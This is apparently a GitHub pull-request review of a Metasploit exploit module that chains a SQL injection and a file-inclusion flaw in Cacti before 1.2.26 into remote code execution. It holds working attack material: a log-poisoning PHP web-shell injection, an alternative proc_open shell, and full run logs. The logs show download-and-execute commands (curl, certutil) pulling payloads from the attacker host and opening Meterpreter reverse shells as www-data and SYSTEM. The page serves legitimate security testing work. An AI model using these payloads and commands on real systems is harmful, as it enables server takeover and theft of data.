-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Cacti RCE via SQLi (CVE-2023-49085) and LFI (CVE-2023-49084) #18769
Conversation
'name' => 'Main Poller', | ||
'hostname' => 'localhost', | ||
'timezone' => '', | ||
'notes' => '', | ||
'processes' => '1', | ||
'threads' => '1', | ||
'id' => '2', | ||
'save_component_poller' => '1', | ||
'action' => 'save', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could those values be randomized?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
# Step 1 - Check if the target is Cacti | ||
html = res.get_html_document | ||
# This will return an empty string if there is no match | ||
version_str = html.xpath('//div[@class="versionInfo"]').text | ||
return CheckCode::Safe('The web server is not running Cacti') unless version_str.include?('The Cacti Group') | ||
|
||
# Step 2 - Check the version | ||
unless version_str.match(/Version (?<version>\d{1,2}\.\d{1,2}.\d{1,2})/) | ||
return CheckCode::Unknown('Could not detect the version') | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This code is duplicate with do_login
, you might want to factorise it into a get_version(html)
function
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't think do_login
can be reused for this as it is right now. The only duplicate code are the regex matching parts. do_login
does not check if the target is really Cacti and tries to login anyway. Also, because it's in the check
method, we want to return a CheckCode
that describe the root cause of a failure.
I can still add some logic to do_login
to make it compatible with the check
method requirements. However, I think it would complicate the code and probably increase its size. If you think it is worth it, I'm fine with changing this, no problem.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I did mean the regex-matching part :)
So that it'd be easy to extract it to a mixin once another cacti vuln drops :P
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I addressed this in 5054b3b
|
||
print_status('Poisoning the log') | ||
header_name = rand_text_alpha(1).upcase | ||
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
cacti uses proc_open
instead of system
(meaning that the later could be disabled, while the former can't), so depending whether size of portability is prioritized, something like this could be used instead:
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)") | |
phpshell = "$h=proc_open($_SERVER['HTTP_#{header_name}'],array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$p); $ret='';while(!feof($p[1])){$ret.=fread($p[1],1024);}@proc_close($h);echo $ret;' | |
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'<?#{phpshell};?>',CHAR(126)),null)") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
That's a very good point. Unfortunately, the payload is truncated after 32 characters before being written to the log file. So, we are very limited in size and this payload was the smallest I found.
sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})") | ||
@do_perms_cleanup = true | ||
|
||
print_status('Logging again to apply new settings and permissions') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think this should be Logging in again...
print_status('Logging again to apply new settings and permissions') | |
print_status('Logging in again to apply new settings and permissions') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good catch, thanks! Addressed in 81eba7a
print_status('Cleaning up log file') | ||
session.run_cmd("rm #{@log_file_path}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think we could leverage the FileDropper
mixin to clean this file up.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes, absolutely! Addressed in 81eba7a
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Well written module @cdelafuente-r7 👏 Just a couple very minor comments. Testing was as expected:
Cacti 1.2.22 running in Docker:
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run
[*] Command to run on remote host: curl -so ./LssHElUWaUE http://172.16.199.1:8080/Hn-8qIL46e0vZdQpIHPToA; chmod +x ./LssHElUWaUE; ./LssHElUWaUE &
[*] Fetch Handler listening on 172.16.199.1:8080
[*] HTTP server started
[*] Adding resource /Hn-8qIL46e0vZdQpIHPToA
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.22
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti884.log) to the `settings` table
[*] {SQLi} Executing (;update settings set name='_path_cactilog' where name='path_cactilog')
[*] {SQLi} Executing (;insert into settings (name,value) values ('path_cactilog','log/cacti884.log'))
[*] Inserting the log file path `log/cacti884.log` to the external links table
[*] {SQLi} Executing (if(id,sleep(3.0),null) from external_links where id=1085)
[+] Got external link ID 1085
[*] {SQLi} Executing (;insert into external_links (id,sortorder,enabled,contentfile,title,style) values (1085,2,'on','../../log/cacti884.log','Log-31317','CONSOLE'))
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] {SQLi} Executing (select id from user_auth where username='admin')
[*] {SQLi} Time-based injection: expecting output of length 1
[*] {SQLi} Executing (;insert into user_auth_realm (realm_id,user_id) values (11085,1))
[*] Logging in again to apply new settings and permissions
[*] Getting the CSRF token to login
[+] CSRF token: sid:9a4f08264ae15bbf4bf2479a63b6b6b3ad2b711c,1706812080;ip:d19a0af3956b3952aff424d732bcb63c45c077d6,1706812080
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[*] Poisoning the log
[*] {SQLi} Executing ( and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\'HTTP_G\']);?>',CHAR(126)),null))
[*] Triggering the payload
[*] Client 172.16.199.1 requested /Hn-8qIL46e0vZdQpIHPToA
[*] Sending payload to 172.16.199.1 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.16.199.1
[+] Deleted log/cacti884.log
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:62414) at 2024-02-01 13:28:01 -0500
[*] Cleaning up external link using SQLi
[*] {SQLi} Executing (;delete from external_links where id=1085)
[*] Cleaning up permissions using SQLi
[*] {SQLi} Executing (;delete from user_auth_realm where realm_id=11085)
[*] Cleaning up the log path in `settings` table using SQLi
[*] {SQLi} Executing (;delete from settings where name='path_cactilog' and value='log/cacti884.log')
[*] {SQLi} Executing (;update settings set name='path_cactilog' where name='_path_cactilog')
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 172.28.0.3
OS : Debian 11.5 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > bg
[*] Backgrounding session 1...
Cacti 1.2.24 running on Windows 11
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run
[*] Command to run on remote host: certutil -urlcache -f http://172.16.199.1:8080/-LHoYC22ccefBZaLFchCEQ %TEMP%\LGWOOoInFni.exe & start /B %TEMP%\LGWOOoInFni.exe
[*] Fetch Handler listening on 172.16.199.1:8080
[*] HTTP server started
[*] Adding resource /-LHoYC22ccefBZaLFchCEQ
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.24
[*] Attempting login with user `admin` and password `lGfe1ags36`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti989.log) to the `settings` table
[*] {SQLi} Executing (;update settings set name='_path_cactilog' where name='path_cactilog')
[*] {SQLi} Executing (;insert into settings (name,value) values ('path_cactilog','log/cacti989.log'))
[*] Inserting the log file path `log/cacti989.log` to the external links table
[*] {SQLi} Executing (if(id,sleep(3.0),null) from external_links where id=3270)
[+] Got external link ID 3270
[*] {SQLi} Executing (;insert into external_links (id,sortorder,enabled,contentfile,title,style) values (3270,2,'on','../../log/cacti989.log','Log-5394','CONSOLE'))
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] {SQLi} Executing (select id from user_auth where username='admin')
[*] {SQLi} Time-based injection: expecting output of length 1
[*] {SQLi} Executing (;insert into user_auth_realm (realm_id,user_id) values (13270,1))
[*] Logging in again to apply new settings and permissions
[*] Getting the CSRF token to login
[+] CSRF token: sid:a1e797e01cb06e4eaaddb8c2fb384afba092b760,1706814941;ip:1c0d1fedeb22016346dfec2ffc560b0af7196634,1706814941
[*] Attempting login with user `admin` and password `lGfe1ags36`
[+] Logged in
[*] Poisoning the log
[*] {SQLi} Executing ( and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\'HTTP_L\']);?>',CHAR(126)),null))
[*] Triggering the payload
[*] Client 172.16.199.134 requested /-LHoYC22ccefBZaLFchCEQ
[*] Sending payload to 172.16.199.134 (Microsoft-CryptoAPI/10.0)
[*] Client 172.16.199.134 requested /-LHoYC22ccefBZaLFchCEQ
[*] Sending payload to 172.16.199.134 (CertUtil URL Agent)
[*] Sending stage (201798 bytes) to 172.16.199.134
[+] Deleted log/cacti989.log
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.134:50571) at 2024-02-01 14:15:45 -0500
[*] Cleaning up external link using SQLi
[*] {SQLi} Executing (;delete from external_links where id=3270)
[*] Cleaning up permissions using SQLi
[*] {SQLi} Executing (;delete from user_auth_realm where realm_id=13270)
[*] Cleaning up the log path in `settings` table using SQLi
[*] {SQLi} Executing (;delete from settings where name='path_cactilog' and value='log/cacti989.log')
[*] {SQLi} Executing (;update settings set name='path_cactilog' where name='_path_cactilog')
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : MSFDEVICE
OS : Windows 11 (10.0 Build 22000).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
|
||
The exploit will do the following: | ||
- Login with the provided credentials | ||
- Perform a serie of SQL injections to: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
- Perform a serie of SQL injections to: | |
- Perform a series of SQL injections to: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good catch! Thanks!
@@ -0,0 +1,244 @@ | |||
## Vulnerable Application | |||
|
|||
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Minor nitpick. This would also work: leverages SQLi (CVE-2023-49085) and LFI (CVE-2023-49084) vulnerabilities
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section. | |
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section. |
'Name' => 'Cacti RCE via SQLi in pollers.php', | ||
'Description' => %q{ | ||
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI | ||
(CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
(CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to | |
(CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to |
|
||
|
||
### Cacti on Windows | ||
Download and run a Cacti installer from [here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password should be put in a file called `Cacti-Passwords.txt` by the installer, which is in the same location the installer was run. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you for including this! 🙇 Details like these make installation nice and easy.
The
admin
password should be put in a file calledCacti-Passwords.txt
by the installer, which is in the same location the installer was run.
html.xpath('//form/input[@name="__csrf_magic"]/@value').text | ||
end | ||
|
||
def do_login |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Another super nit pick but because this method returns a boolean value I think it might be better named something like login_successful?
(not a blocker).
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
That's actually a very good point. I decided to change this and use exceptions instead of returning a boolean. So the method name stay the same and error handling is cleaner.
Thank you for the review!
Retested with the improved error handing / typo fixes. Looking good, cleared to land 🛩️
|
Release NotesThis PR adds an exploit module which leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. |
Vulnerable Application
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (
pollers.php
). This is granted by setting theSites/Devices/Data
permission in theGeneral Administration
section.The module implements a
check
method that makes surepollers.php
is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the fix added in version 1.2.25.The exploit will do the following:
settings
tableexternal_links
)user_auth_realm
)link.php)
Installation
See module documentation for step-by-step installation instructions on Linux (via Docker) and on Windows.
Setup a new user
admin
user (password:admin
)Configuration
>Users
+
signUser Name
,Password
and check theEnabled
option.Create
Permissions
tab and set theSites/Devices/Data
permission inGeneral Administration
Save
Verification Steps
use exploit/multi/http/cacti_pollers_sqli_rce
set target <target>
set payload <payload>
run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>
Scenarios
Cacti version 1.2.25 on Docker installation
Cacti version 1.2.24 on Windows 11